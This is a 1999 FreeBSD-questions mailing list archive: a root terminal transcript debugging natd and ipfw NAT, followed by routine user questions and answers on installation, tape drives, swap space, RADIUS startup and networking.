tun1* 1500  <Link>                               0     0        0     0     0
sl0*  552   <Link>                               0     0        0     0     0
sl1*  552   <Link>                               0     0        0     0     0
ppp0* 1500  <Link>                               0     0        0     0     0
ppp1* 1500  <Link>                               0     0        0     0     0
lo0   16384 <Link>                              48     0       48     0     0
lo0   16384 your-net      localhost             48     0       48     0     0

fall.net1.cs{root}:netstat -r
Routing tables

Internet:
Destination        Gateway            Flags     Refs     Use     Netif Expire
localhost          localhost          UH          0       72       lo0
172.16             link#1             UC          0        0 
172.18             link#2             UC          0        0 

fall.net1.cs{root}:ipfw -t list
00100 Wed Mar 24 22:50:22 1999 divert 8668 ip from any to any via ed0
00200 Wed Mar 24 22:50:09 1999 allow ip from any to any
65535 Wed Mar 24 22:47:35 1999 deny ip from any to any

fall.net1.cs{root}:ping 172.16.1.7
PING 172.16.1.7 (172.16.1.7): 56 data bytes
^C
--- 172.16.1.7 ping statistics ---
3 packets transmitted, 0 packets received, 100% packet loss
(((NOTE: this ping would have worked if not for the presence of the divert
firewall rule and no natd running yet))))

fall.net1.cs{root}:natd -interface ed0

fall.net1.cs{root}:ping 172.16.1.7
PING 172.16.1.7 (172.16.1.7): 56 data bytes
^C
--- 172.16.1.7 ping statistics ---
3 packets transmitted, 0 packets received, 100% packet loss

fall.net1.cs{root}:ps -aux
USER       PID %CPU %MEM   VSZ  RSS  TT  STAT STARTED       TIME COMMAND
root       232  0.0  0.9   384  272  p0  R+   10:52PM    0:00.00 ps -aux
root         1  0.0  0.8   484  236  ??  Is   10:44PM    0:00.03 /sbin/init --
root         2  0.0  0.1     0   12  ??  DL   10:44PM    0:00.00  (pagedaemon)
root         3  0.0  0.1     0   12  ??  DL   10:44PM    0:00.00  (vmdaemon)
root         4  0.0  0.1     0   12  ??  DL   10:44PM    0:00.07  (update)
root        99  0.0  1.8   204  540  ??  Ss   10:44PM    0:00.16 syslogd
daemon     109  0.0  1.9   176  564  ??  Is   10:44PM    0:00.01 portmap
root       131  0.0  2.0   208  608  ??  Is   10:44PM    0:00.07 inetd
root       134  0.0  1.7   332  512  ??  Ss   10:44PM    0:00.04 cron
root       137  0.0  1.8   208  540  ??  Is   10:44PM    0:00.01 lpd
root       164  0.0  1.4   168  420  ??  Is   10:44PM    0:00.00 moused -p
/dev
root       173  0.0  2.4   372  720  ??  Is   10:44PM    0:02.23
/usr/local/sbi
root       196  0.0  1.1   460  328  v0  Is   10:44PM    0:00.19 -csh (csh)
root       197  0.0  1.8   180  544  v1  Is+  10:44PM    0:00.03
/usr/libexec/g
root       198  0.0  1.8   180  544  v2  Is+  10:44PM    0:00.03
/usr/libexec/g
root       204  0.0  1.5   216  460  v0  S+   10:44PM    0:00.22 script huang
root       205  0.0  1.1   456  336  p0  Ss   10:44PM    0:00.13 -h -i (csh)
root       230  0.0  1.7   228  492  ??  Is   10:51PM    0:00.00 natd
-interfac
root         0  0.0  0.0     0    0  ??  DLs  10:44PM    0:00.01  (swapper)

fall.net1.cs{root}:ipfw -t list
00100 Wed Mar 24 22:51:37 1999 divert 8668 ip from any to any via ed0
00200 Wed Mar 24 22:50:09 1999 allow ip from any to any
65535 Wed Mar 24 22:47:35 1999 deny ip from any to any

fall.net1.cs{root}:ping 172.16.1.7
PING 172.16.1.7 (172.16.1.7): 56 data bytes
^C
--- 172.16.1.7 ping statistics ---
2 packets transmitted, 0 packets received, 100% packet loss

fall.net1.cs{root}:ipfw -t list
00100 Wed Mar 24 22:52:36 1999 divert 8668 ip from any to any via ed0
00200 Wed Mar 24 22:50:09 1999 allow ip from any to any
65535 Wed Mar 24 22:47:35 1999 deny ip from any to any

fall.net1.cs{root}:netstat -nr
Routing tables

Internet:
Destination        Gateway            Flags     Refs     Use     Netif Expire
127.0.0.1          127.0.0.1          UH          0      120       lo0
172.16             link#1             UC          0        0 
172.16.1.7         link#1             UHLW        0        8 
172.18             link#2             UC          0        0 

fall.net1.cs{root}:netstat -r
Routing tables

Internet:
Destination        Gateway            Flags     Refs     Use     Netif Expire
localhost          localhost          UH          0      120       lo0
172.16             link#1             UC          0        0 
september          link#1             UHLW        0        8 
172.18             link#2             UC          0        0 

fall.net1.cs{root}:netstat -i
Name  Mtu   Network       Address            Ipkts Ierrs    Opkts Oerrs  Coll
ed0   1500  <Link>      00.40.95.76.90.4b        8     0        1     0     0
ed0   1500  172.16        fall                   8     0        1     0     0
ed1   1500  <Link>      00.40.95.76.e4.d1        0     0        1     0     0
ed1   1500  172.18        fall.net3.cs           0     0        1     0     0
lp0*  1500  <Link>                               0     0        0     0     0
tun0* 1500  <Link>                               0     0        0     0     0
tun1* 1500  <Link>                               0     0        0     0     0
sl0*  552   <Link>                               0     0        0     0     0
sl1*  552   <Link>                               0     0        0     0     0
ppp0* 1500  <Link>                               0     0        0     0     0
ppp1* 1500  <Link>                               0     0        0     0     0
lo0   16384 <Link>                             224     0      224     0     0
lo0   16384 your-net      localhost            224     0      224     0     0

fall.net1.cs{root}:ifconfig -a
ed0: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> mtu 1500
	inet 172.16.1.6 netmask 0xffff0000 broadcast 172.16.255.255
	ether 00:40:95:76:90:4b 
ed1: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> mtu 1500
	inet 172.18.1.1 netmask 0xffff0000 broadcast 172.18.255.255
	ether 00:40:95:76:e4:d1 
lp0: flags=8810<POINTOPOINT,SIMPLEX,MULTICAST> mtu 1500
tun0: flags=8010<POINTOPOINT,MULTICAST> mtu 1500
tun1: flags=8010<POINTOPOINT,MULTICAST> mtu 1500
sl0: flags=c010<POINTOPOINT,LINK2,MULTICAST> mtu 552
sl1: flags=c010<POINTOPOINT,LINK2,MULTICAST> mtu 552
ppp0: flags=8010<POINTOPOINT,MULTICAST> mtu 1500
ppp1: flags=8010<POINTOPOINT,MULTICAST> mtu 1500
lo0: flags=8049<UP,LOOPBACK,RUNNING,MULTICAST> mtu 16384
	inet 127.0.0.1 netmask 0xff000000 

fall.net1.cs{root}:ping 172.16.1.5
PING 172.16.1.5 (172.16.1.5): 56 data bytes
^C
--- 172.16.1.5 ping statistics ---
3 packets transmitted, 0 packets received, 100% packet loss

fall.net1.cs{root}:ipfw -t list
00100 Wed Mar 24 22:55:51 1999 divert 8668 ip from any to any via ed0
00200 Wed Mar 24 22:55:27 1999 allow ip from any to any
65535 Wed Mar 24 22:47:35 1999 deny ip from any to any

fall.net1.cs{root}:netstat -i
Name  Mtu   Network       Address            Ipkts Ierrs    Opkts Oerrs  Coll
ed0   1500  <Link>      00.40.95.76.90.4b       12     0        1     0     0
ed0   1500  172.16        fall                  12     0        1     0     0
ed1   1500  <Link>      00.40.95.76.e4.d1        0     0        1     0     0
ed1   1500  172.18        fall.net3.cs           0     0        1     0     0
lp0*  1500  <Link>                               0     0        0     0     0
tun0* 1500  <Link>                               0     0        0     0     0
tun1* 1500  <Link>                               0     0        0     0     0
sl0*  552   <Link>                               0     0        0     0     0
sl1*  552   <Link>                               0     0        0     0     0
ppp0* 1500  <Link>                               0     0        0     0     0
ppp1* 1500  <Link>                               0     0        0     0     0
lo0   16384 <Link>                             416     0      416     0     0
lo0   16384 your-net      localhost            416     0      416     0     0

fall.net1.cs{root}:netstat -r
Routing tables

Internet:
Destination        Gateway            Flags     Refs     Use     Netif Expire
localhost          localhost          UH          0      440       lo0
172.16             link#1             UC          0        0 
june               link#1             UHLW        0        3 
172.18             link#2             UC          0        0 

fall.net1.cs{root}:netstat -nr
Routing tables

Internet:
Destination        Gateway            Flags     Refs     Use     Netif Expire
127.0.0.1          127.0.0.1          UH          0      496       lo0
172.16             link#1             UC          0        0 
172.16.1.5         link#1             UHLW        0        3 
172.18             link#2             UC          0        0 
fall.net1.cs{root}:exit

Script done on Wed Mar 24 22:57:10 1999

*september's address 172.16.1.7
*june's address 172.16.1.5




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From owner-freebsd-questions  Thu Mar 25 16:27: 7 1999
Delivered-To: freebsd-questions@freebsd.org
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To: brett@peloton.physics.montana.edu
Cc: ras@interaccess.com, freebsd-questions@FreeBSD.ORG
Subject: Re: WDM install
In-Reply-To: Your message of "Thu, 25 Mar 1999 08:50:52 -0700 (MST)"
	<Pine.BSF.4.05.9903250848270.27560-100000@peloton.physics.montana.edu>
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I've got a few major problems w. WDM here.  After corresponding with the
original author, I'm convinced that WDM is an orphaned hack.  With bugs.

Perhaps a better choice is Login.app?  Off to port it...

Cheers,

Jerry Hicks
wghicks@bellsouth.net

From: Brett Taylor <brett@peloton.physics.montana.edu>
Subject: Re: WDM install
Date: Thu, 25 Mar 1999 08:50:52 -0700 (MST)

> Hi,
> 
> On Thu, 25 Mar 1999, Chris Silva wrote:
> 
> > Does anyone have a clue why wdm can't install under 3.1-R?
> > here are the last few lines of the make install of wdm:
> 
> The stupid configure file doesn't work.  This has been a problem as far as
> I can tell forever.  If someone's gotten this to build they should submit
> a PR w/ patches.  The configure script is supposed to find the Window
> Maker includes and libs in either /usr/local or /usr/X11R6 (which is where
> they're installed from the port).  I don't understand what's wrong, but I
> haven't really dug through the configure script.  Note it also doesn't
> find the includes right in addition to the libs. 
> 
> Brett
> ***********************************************************
> Brett Taylor            brett@peloton.physics.montana.edu *
>                         brett@daemonnews.org              *
> 							  *
> 			http://www.daemonnews.org/        *
> ***********************************************************
> 
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message
> 


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From owner-freebsd-questions  Thu Mar 25 16:29:21 1999
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Date: Thu, 25 Mar 1999 19:39:51 -0500
To: LKentane@mweb.com
From: Dru <genisis@istar.ca>
Subject: Re: Pop3 commands
Cc: freebsd-questions@freebsd.org
In-Reply-To: <19990325184431.C1009@scientia.demon.co.uk>
References: <913B8C252194D2119BD500805F31817897069A@za12nt02.mweb.com>
 <913B8C252194D2119BD500805F31817897069A@za12nt02.mweb.com>
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At 06:44 PM 25/03/99 +0000, you wrote:
>Langa Kentane - MWeb wrote:
>
>> Where can I get a complete listing of all the pop3 & smtp commands
>> what a brief explanation of what they do.
>
>In the appropriate RFC. SMTP is defined in RFC 821 (RFC 822 is also
>useful), POP3 is defined in RFCs 1939 and 1957. Download them from
>your nearest RFC mirror, if you don't know the address of one,
>ftp://sunsite.doc.ic.ac.uk/rfc/ is one example.
>
>-- 
>Ben Smithurst
>ben@scientia.demon.co.uk

Also, the Unix Administrator's Guide to TCP/IP published by O'Reilly (has a
picture of a crab on front) is worth it's weight in gold.  Has a chapter on
SMTP and POP3 with their commands and examples.

If you're interested, I can send you the ISBN number.  Also, anyone who is
interested can e-mail me in private and I'll send a copy of the "Fun with
Telnet" tutorial I give to my students when I introduce them to what is
really happening when you send/receive e-mail.

Cheers,

Dru

Never smack a man who's chewin' tobacco.



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From owner-freebsd-questions  Thu Mar 25 16:33:55 1999
Delivered-To: freebsd-questions@freebsd.org
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Date: Thu, 25 Mar 1999 18:33:13 -0600 (CST)
From: Christopher Palmer <cpalmer@jig.ordway.org>
To: "Scott I. Remick" <scott@computeralt.com>
Cc: FreeBSD Questions <freebsd-questions@FreeBSD.ORG>
Subject: Re: Out of Swap Space hangs system 
In-Reply-To: <4.2.0.32.19990325105011.03a9fc30@mail.computeralt.com>
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On Thu, 25 Mar 1999, Scott I. Remick wrote:

> It seems that from what you're saying, a "properly setup Unix system" is
> one that simply has lots of swap space (and/or RAM) configured so that
> there's never a condition that forces you to run out of swap.

Yes. But what 'lots' or 'plenty' of swap space is depends on your exact
situation.

I see that you are concerned with comparing Unix to Windows NT. Consider
that, given the same users with the same needs, most any Unix system
will consider fewer resources 'plenty' than an NT system will. One nice
Unix system (e.g., 256MB RAM, 10GB RAID, dual Xeon) will be able to run
more services more reliably than the same machine running Windows NT. This
fact is undisputed (afaik) and is true generally of Unices.

So 'considering your users and their needs' also means considering your
OS.

> I misunderstood where the answer was.  I still must say though that 
> throwing more RAM or HDD space at a problem in the hopes of avoiding it 
> seems more an answer from the Microsoft textbook and not one I'd expect
> for a unix-based OS.

You make a good point, but think of when MS says 'add more gear' compared
to when Unix vendors say that. For NT, it's 'one box per server process'
-- for Unix it's 'slap in another DIMM when hosting that 7th virtual
domain'.

> I don't doubt those of you who say it's difficult to program, but it's
> unfortunate that we have this big hole in our team's defenses. :(

There is no (relative) hole. All systems have limitations.

> Oh well.  I guess now after several years, I can no longer say that our 
> unix server has never crashed (I'm pretty much the only pro-unix
> advocate in a company of NT-heads).

'After several years', indeed. :^)

Amusing Unix anecdote: I administer an HP Apollo 9000 (68030) with 6MB RAM
and 12MB swap. On average, ~4 users are logged in running irc(1) under
screen(1) and has an X query running. Yep, it's slow (although faster
than you'd think) -- but it goes down only when there's power trouble.
Average uptime is ~200 days. Tell the NT-heads that. ;^)


Christopher Palmer
Assistant Systems Administrator, Ordway Music Theatre
cpalmer@jig.ordway.org



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From owner-freebsd-questions  Thu Mar 25 16:34:10 1999
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Date: Thu, 25 Mar 1999 16:33:27 -0800
To: bob olbrich <rjob@gulftel.com>, freebsd-questions@FreeBSD.ORG
From: charon@freethought.org
Subject: Re: Installation for 3.1-RELEASE (re-post)
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At 05:04 PM 3/25/99 -0600, bob olbrich wrote:
>Hello,
>
>I've downloaded a minimal installation and I'd like to know
>what to do next (I'm new to UNIX, and the book I have does not 
>discuss this thoroughly).

http://www.freebsd.org/handbook/install.html is helpful.  You basically
need to make the boot floppies (it sounds like you haven't done this yet).
You can download the floppy images mfsroot.flp and kern.flp at
ftp.FreeBSD.ORG/pub/FreeBSD/3.1-RELEASE/floppies/.  The installation
section of the Handbook (see above) explains what to do with these, and
what to do next.


-charon


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From owner-freebsd-questions  Thu Mar 25 16:39:56 1999
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Date: Thu, 25 Mar 1999 23:32:16 +0000
From: Ben Smithurst <ben@scientia.demon.co.uk>
To: Jesse <j@lumiere.net>
Cc: freebsd-questions@freebsd.org
Subject: Re: 3.1-STABLE dies on 40+ connects
Message-ID: <19990325233216.A2195@scientia.demon.co.uk>
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Jesse wrote:

> Just to make sure it wasn't something specific to the icecast server, I
> enabled chargen in /etc/inetd.conf and did another stress test over the
> network. It survived 40 connections, so I tried 100. It was fine. I tried
> 200 and the server crashed.

Define "crashed". I assume there was a panic, if so, what was the
panic message? I had a problem like this, I was stress testing
Apache, increasing NMBCLUSTERS to 4096 fixed it for me. (``sysctl
kern.ipc.nmbclusters'' will tell you what it's currently at.)

-- 
Ben Smithurst
ben@scientia.demon.co.uk

send a blank message to ben+pgp@scientia.demon.co.uk for PGP key


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From owner-freebsd-questions  Thu Mar 25 16:40:47 1999
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Date: Thu, 25 Mar 1999 19:40:25 -0500
From: Soren Harward <soren@cinternet.net>
To: freebsd-questions@freebsd.org
Subject: Re: EIDE/ATAPI tape drive support
References: <19990325164459.A21430@cinternet.net> <9903252215.AA10145@dartagnan.maths.adelaide.edu.au>
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On Fri 26 Mar 1999 at 08:45:43, Gregory Lewis muttered:
> # IDE tape driver - requires wdc controller and ATAPI option
> device          wst0
> 
> A kernel with this compiled in will give you boot messages like:
> 
> wdc1: unit 0 (atapi): <Seagate STT8000A/5.02>, removable, accel, dma, iordis
> wst0: Drive empty, readonly, reverse, qfa, ecc, 512b
> wst0: Max speed=600Kb/s, Transfer limit=52 blocks, Buffer size=728 blocks

Okay, that did it.  Anyone have the device numbers?  MAKEDEV isn't
producing anything like wst0

-- 
 Soren Harward <soren@cinternet.net> | Windows DOES come with a tool
 http://www.soren.cinternet.net/     | to restore a corrupt Registry.
 Internet Information Systems Admin  |
 Cinternet, Inc.  (513) 891-1228     | It's called FDISK.


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From owner-freebsd-questions  Thu Mar 25 17:40:55 1999
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Hi, I am now maintaining a game server which can let players connect in to play
each other. The player's num is growing very fast. With only one server, it is 
very hard to work well. Is it possible for me to add one server to the net and
 let the new server balance the trafic? How can this new server work together 
with the old one? NFS or AFS or ??? to manager the players data? 

Best regaurds!




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From owner-freebsd-questions  Thu Mar 25 17:46:44 1999
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From: Leonard & Modesta Pippins <landm@2fords.net>
To: "'freebsd-questions@freebsd.org'" <freebsd-questions@freebsd.org>
Subject: troubles with dos install
Date: Thu, 25 Mar 1999 09:27:41 -0600
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Please advise.  I downloaded all the files for FreeBSD to my dos =
partition.  When I tried to install it will not work.  All I can think =
of is I now have Windows 98 and my primary partition has been converted =
to FAT32.  This was done before I downloaded. Is this the problem?

Leonard Pippins



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From owner-freebsd-questions  Thu Mar 25 17:49:31 1999
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From: "Andrej Chernysh" <chaw@ssu.sumy.ua>
To: <freebsd-questions@FreeBSD.ORG>
Subject: I have problem with installation
Date: Thu, 26 Mar 1998 03:50:16 +0200
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Content-Type: text/plain;
	charset="koi8-r"
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During installation FreeBSD program sends message:=20
=20
" can not mount wd02* error 22"
My configuration
k6-2 300  ram-32Mb Video i740(agp 8Mb)
c:\ - fat32 3,7 Gb
d:\ - fat16  140 Mb with install programm into d:\freebsd
and 300Mb free for FreeBSD.
With best regards,
Andrej Chernysh.

------=_NextPart_000_0013_01BD586A.4A14D9A0
Content-Type: text/html;
	charset="koi8-r"
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<!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN">
<HTML>
<HEAD>

<META content=3Dtext/html;charset=3Dkoi8-r http-equiv=3DContent-Type>
<META content=3D'"MSHTML 5.00.0518.7"' name=3DGENERATOR>
</HEAD>
<BODY bgColor=3D#c0c0c0>
<DIV>
<DIV><FONT color=3D#000000 size=3D2>During installation FreeBSD program =
sends=20
message:&nbsp;</FONT></DIV>

<DIV><FONT color=3D#000000 size=3D2>&nbsp;</FONT></DIV>

<DIV>&quot;<FONT color=3D#000000 size=3D2> can not mount wd02* error=20
22&quot;</FONT></DIV>

<DIV><FONT color=3D#000000 size=3D2>My configuration</FONT></DIV>

<DIV><FONT size=3D2>k6-2 300&nbsp; ram-32Mb Video i740(agp =
8Mb)</FONT></DIV>

<DIV><FONT color=3D#000000 size=3D2>c:\ - fat32 3,7 Gb</FONT></DIV>

<DIV><FONT color=3D#000000 size=3D2>d:\ - fat16&nbsp; 140 Mb with =
install programm=20
into d:\freebsd</FONT></DIV>

<DIV><FONT color=3D#000000 size=3D2>and 300Mb free for =
FreeBSD.</FONT></DIV>

<DIV><FONT color=3D#000000 size=3D2>With best regards,</FONT></DIV>

<DIV><FONT color=3D#000000 size=3D2>Andrej Chernysh.</FONT></DIV>
</DIV>
</BODY></HTML>

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From owner-freebsd-questions  Thu Mar 25 18: 3:28 1999
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To: Christophe HEISER <c.heiser@genesys.com>
Subject: Re: Use of ASCEND Freeware RADIUS server
Date: Thu, 25 Mar 99 20:03:19 -0500
From: FreeBSD Questions <freebsd@netsys.hn>
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-- [ From: FreeBSD Questions * EMC.Ver #2.5.02 ] --

> Hello,
> 
> I am using ASCEND Freeware RADIUS server provided with FreeBSD
installation CD
> set on a FreeBSD 2-2-8 server. 
> 
> So far, it works perfectly but I am not able to make the radius daemon to
start
> automatically at system reboot So I have to log in after reboot and launch
it
> manually. That's not very efficient...
> 
> Does someone know how to launch it automatically via an initialization
script
> or another mechanism at system boot ?

Sure, create the /etc/rc.local file and put this in:

if [ -f /etc/defaults/rc.conf ]; then
        . /etc/defaults/rc.conf
fi
/usr/local/sbin/radiusd


> Thanks in advance...
> 
> Christophe HEISER
> Email : c.heiser@genesys.com
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe
> freebsd-questions" in the body of the message
> 

-------- REPLY, End of original message --------




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From owner-freebsd-questions  Thu Mar 25 18:31:15 1999
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Date: Fri, 26 Mar 1999 13:29:22 +1100 (EST)
From: Peter Hawkins <peter@clari.net.au>
To: xiyuan qian <xiyuan@dns.hgs.com.cn>
Cc: afs@FreeBSD.ORG, questions@FreeBSD.ORG
Subject: Re: NFS or AFS or ???
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-----BEGIN PGP SIGNED MESSAGE-----

FreeBSD's NFS is not very stable and doesn't like big load. Why not use
something like mysql?

Peter

Clarinet Internet Solutions    Peter Hawkins
381 Swan St Richmond,      
Vic, Australia                 Ph: +61-3-9421 2006 Fax: +61-3-9421 2007
http://www.clari.net.au        Peter@clari.net.au

FreeBSD Project:               thepish@FreeBSD.org

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From owner-freebsd-questions  Thu Mar 25 18:35:52 1999
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Okay, I deleted my entire old ports tree, and fetched a new one off the
website. Put in the new ports tree. And reinstalled glib12, and gtk12, in
that order. I tried to install gimp1 and still got the same error. And
config.log has the same thing in it - "libglib12.so: Undefined reference
to 'localtime_r'" What is going on?

Mark Bermal




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From owner-freebsd-questions  Thu Mar 25 18:44:44 1999
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From: Gregory Lewis <glewis@dartagnan.maths.adelaide.edu.au>
Message-Id: <9903252215.AA10145@dartagnan.maths.adelaide.edu.au>
Subject: Re: EIDE/ATAPI tape drive support
In-Reply-To: <19990325164459.A21430@cinternet.net> from Soren Harward at "Mar 25, 99 04:44:59 pm"
To: soren@cinternet.net (Soren Harward)
Date: Fri, 26 Mar 1999 08:45:43 +1030 (CST)
Cc: freebsd-questions@freebsd.org
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> On boot, the kernel finds my Seagate EIDE tape drive, but I can't seem
> to get to to work:
> 
> wdc1 at 0x170-0x177 irq 15 on isa
> wdc1: unit 0 (atapi): <Seagate STT8000A/5.02>, removable, accel, dma, iordis
> wdc1: ATAPI streaming tapes not configured
> 
> It appears I've forgotten some option in the kernel, but the Handbook
> doesn't have anything about an "ATAPI streaming tapes" option.  Is
> this drive supported under 3.1?  How can I get it to work?

Dear Soren,

You need this option in 3.0, I assume its the same for 3.1

# IDE tape driver - requires wdc controller and ATAPI option
device          wst0

A kernel with this compiled in will give you boot messages like:

wdc1: unit 0 (atapi): <Seagate STT8000A/5.02>, removable, accel, dma, iordis
wst0: Drive empty, readonly, reverse, qfa, ecc, 512b
wst0: Max speed=600Kb/s, Transfer limit=52 blocks, Buffer size=728 blocks

				regards, Greg
-- 
Greg Lewis 				glewis@trc.adelaide.edu.au
Computing Officer			+61 8 8303 3237
Teletraffic Research Centre


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From owner-freebsd-questions  Thu Mar 25 18:47:16 1999
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Date: Thu, 25 Mar 1999 21:46:23 -0500
From: Soren Harward <soren@cinternet.net>
To: freebsd-questions@freebsd.org
Subject: sharing passwd files between BSD and Linux
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I'm trying to put together a mixed FreeBSD/Linux network and wondered
if there was any way to share passwd files between the machines without
having to use NIS.  I've got a linux box  using shadow passwords
and a new BFreeSD 3.1 box.

-- 
 Soren Harward <soren@cinternet.net> | Windows DOES come with a tool
 http://www.soren.cinternet.net/     | to restore a corrupt Registry.
 Internet Information Systems Admin  |
 Cinternet, Inc.  (513) 891-1228     | It's called FDISK.


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From owner-freebsd-questions  Thu Mar 25 19:14:51 1999
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Date: Wed, 26 Jun 1996 03:28:44 -0400
From: John Garrison <jeg@visi.net>
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To: Leonard & Modesta Pippins <landm@2fords.net>
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Subject: Re: troubles with dos install
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The docs say to put it in a directory called FreeBSD.  instead put it in C:\release and everything should work

Leonard & Modesta Pippins wrote:

> Please advise.  I downloaded all the files for FreeBSD to my dos partition.  When I tried to install it will not work.  All I can think of is I now have Windows 98 and my primary partition has been converted to FAT32.  This was done before I downloaded. Is this the problem?
>
> Leonard Pippins
>
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message



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From owner-freebsd-questions  Thu Mar 25 19:21: 8 1999
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Date: Thu, 25 Mar 1999 22:20:01 -0500 (EST)
From: Dave Hummel <dave@dnh.pce.net>
Reply-To: dhh@pce.net
To: Dave Walton <walton@emusic.com>
Cc: questions@freebsd.org
Subject: Re: Starting a FreeBSD-related project
In-Reply-To: <19990325230841.28589.qmail@modgud.nordicdms.com>
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Hi,

Thank you for the suggestions, I will look further into IMP and Qmail. 

Basically where I'm coming from:

My company has been using Solaris with Netscape Directory Server (ldap
server)  and Netscape Messaging Server (email). Basically, I've been given
the freedom to use FreeBSD instead so long as our mail service was ldap
enabled. I guess you could say that I want to build a replacement for the
Netscape servers. My research lead me to the conclusion that sendmail
would do the trick, but that I was out of luck as far as a free imap/pop
server was concerned. A look at the cyrus code convinced me that
integrating ldap was fairly trivial. Wrapping the whole thing in SSL and a
spiffy interface would pretty much complete the project, and I could
transfer all my users in short order. I'm pretty sure I'm not the only one
who would like to do this - if I am I'll just throw it together the best
way I know how, but I'd rather make something other people have a use for
too.

From what I know of IMP (which isn't that much), it may well be the key to
making a nifty interface for both end users and administrators.  

Again, thanks.

Dave


On Thu, 25 Mar 1999, Dave Walton wrote:

> On 25 Mar 99, at 10:10, Dave Hummel wrote:
> 
> > I'd like to create a FreeBSD mail application that would replace our
> > current Netscape products (Messaging Server using ldap from Directory
> > Server running on Solaris). This will be opensource with FreeBSD users in
> > mind first. 
> > 
> > The plan now is to use sendmail, Cyprus, and openldap to create a basic
> > ldap-enabled mail system which will eventually be wrapped with SSL (all
> > with a spiffy interface of course).  (Has this been done already?) 
> 
> Check out IMP (http://web.horde.org/imp/).  I works fine with cyrus, 
> has some ldap support, and doesn't require sendmail (which is 
> great for those of us running qmail).  I don't know if it does 
> everything you need, but it might be a good starting point.
> 
> Dave
> 
> 
> ----------------------------------------------------------------------
> Dave Walton                                                           
> Webmaster, Postmaster                                           Emusic
> walton@emusic.com                                http://www.emusic.com
> ----------------------------------------------------------------------
> 



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From owner-freebsd-questions  Thu Mar 25 19:24:48 1999
Delivered-To: freebsd-questions@freebsd.org
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Date: Thu, 25 Mar 1999 19:29:41 +0000 (GMT)
From: Nick <nick@namodn.com>
To: freebsd-questions@freebsd.org
Subject: Cable modem: Firewall & Ip Aliasing
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Hello, 

(Sorry, due to my confusion its hard for me to explain in a clear straight
forward manner, please pick out usefull information and disregard any
repetative information i may explain)

I'm trying to set up a LAN which is connected to the internet via cable
modem. I am doing this by setting up one computer (lets call it wolf) as a
firewall/gateway  for my workstation (lets cann it yeaben) 

Ok so im setting wolf up as the FIREWALL & want to masquerade the internal
lan with a net address of 10.x  here is my layout

_FreeBSD_ 3.0				      _SuSE Linux_ 6.0
[-WOLF-] A.B.C.D (outside IP address)	      [-YEABEN-] 10.2.0.2
  | ed1						 | eth0
  |						 |
  |						 |
   \_________________________[-HUB-]____________/
				|
				|
			  [-CABLE MODEM-]
				|
				|
			       /
			     /
			[-GATEWAY-] A.B.C.1
			    |
			[-DNS-] A.1.64.33


Ok so, Wolf can get out onto the net fine. DNS and Gateway work, Yeaben
cannot talk to anything. and wolf connot talk to Yeaben.. Now im
trying to get a Firewall (open) setup on wolf, and get IP Aliasing setup
on wolf. Im doing this via the instruction of "The Complete FreeBSD" book
by Greg Lehey. (great book). Now all ive done (besides pull my hair out
and eat and sleep) is set upa basic firewall (i think) an "open" firewall.
I set up the kernel, recompiled (put IPDIVERT in it as well). looked in
rc.firewall, but and changed some stuff, but it looked different than how
it said it looked in the book (probably an older version, im running 3.0).
How do i test a firewall to see if it works when its an open firewall,
basically there so i can do ip aliasing?

Now as far as i could read from the book. all i have to do to set up IP
aliasing is but those 3 lines of ipfw in the rc.local and stuff..

Ok now i dont know what you need to know so here are my questions.

Question #1: How do i tell if a firewall is set up and working.

Question #2: How do i tell wolf that theres an internet network of 10.x's
and to look for them on the LAN and not on the net (which it has been
doing)

Question #3: How do i tell yeaben that it's host is A.B.C.D when it cant
get onto the net to go to that address. 


The only kind of network ive set up before has vbeen a complete internet
network with all the IP's of 10.x (Server was 10.2.0.1 and clients
10.2.0.2 and that worked. but when the gateway is now an external IP i
dont fully understand how the internal networking is spossed to work. and
how the clients are spossed to look for the server (gateway)...

I dont have a mouse on this system so it would be a very large hassle to
put info from my files for you to look at... but i will if you need
them... but im hoping maybe i can get some help and get this working
without it. please respond with any help. Ive spent along time on this
message and working with this and i need some responses to ease my
frustration ;)

- Nick : nick@namodn.com

	



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From owner-freebsd-questions  Thu Mar 25 19:27:50 1999
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Hi,

I am get a strange problem with star office 5 just lately?

I have been using it successfully for about 2 months.

But lately I have noticed that I keep getting errors and it is failing

I am getting this error message...

/kernel: cmd soffice.bin pid 438 tried to use non-present sched_yeild

any help would be appreciated



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<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>

<pre>Hi,</pre>

<pre></pre>

<pre>I am get a strange problem with star office 5 just lately?</pre>

<pre></pre>

<pre>I have been using it successfully for about 2 months.</pre>

<pre></pre>

<pre>But lately I have noticed that I keep getting errors and it is failing</pre>

<pre></pre>

<pre>I am getting this error message...</pre>

<pre></pre>

<pre>/kernel: cmd soffice.bin pid 438 tried to use non-present sched_yeild</pre>

<pre></pre>

<pre>any help would be appreciated</pre>
&nbsp;</html>

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From owner-freebsd-questions  Thu Mar 25 19:58:47 1999
Delivered-To: freebsd-questions@freebsd.org
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	Fri, 26 Mar 1999 14:58:21 +1100 (EDT)
Date: Fri, 26 Mar 1999 14:58:21 +1100 (EDT)
From: Tian-Xiong Lu <tian@harpo.ma.adfa.edu.au>
Message-Id: <199903260358.OAA01284@harpo.ma.adfa.edu.au>
To: freebsd-questions@FreeBSD.ORG
Subject: boot image can't find my network card
Cc: tian@harpo.ma.adfa.edu.au
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Hi,

I am trying to install FreeBSD on a PC of several years old,
which has a SMC EtherCard PLUS Elitte 16 (WD/8013EP) (1992).
I chose ftp as installation media. 

However, when I booted from boot image disks after configured
kernel, I got a message as "ed0 not found".
(ed0 is network card dev shown in kernel config). 
Consequently, when I tried to install FreeBSD through ftp, 
I was given only the PLIP and dial-up options [SLIP(com1), PPP(com1),
SLIP(com2), PPP(com2)]. No direct network connetion was prompted. 
Thus, ftp could not be performed.

FreeBSD docs says:
"SMC Elite 16 WD8013 Ethernet interface .... are supported"

Can anyone tell me what's wrong, and how to fix?

Tian

-----------------------------------------------------------------
Tian-Xiong Lu
Programmer                                phone: (02)6268 8882
School of Mathematics & Statistics        Fax:   (02)6268 8886
ADFA, University College, UNSW            Email: t-lu@adfa.edu.au
Canberra, ACT 2600
-----------------------------------------------------------------








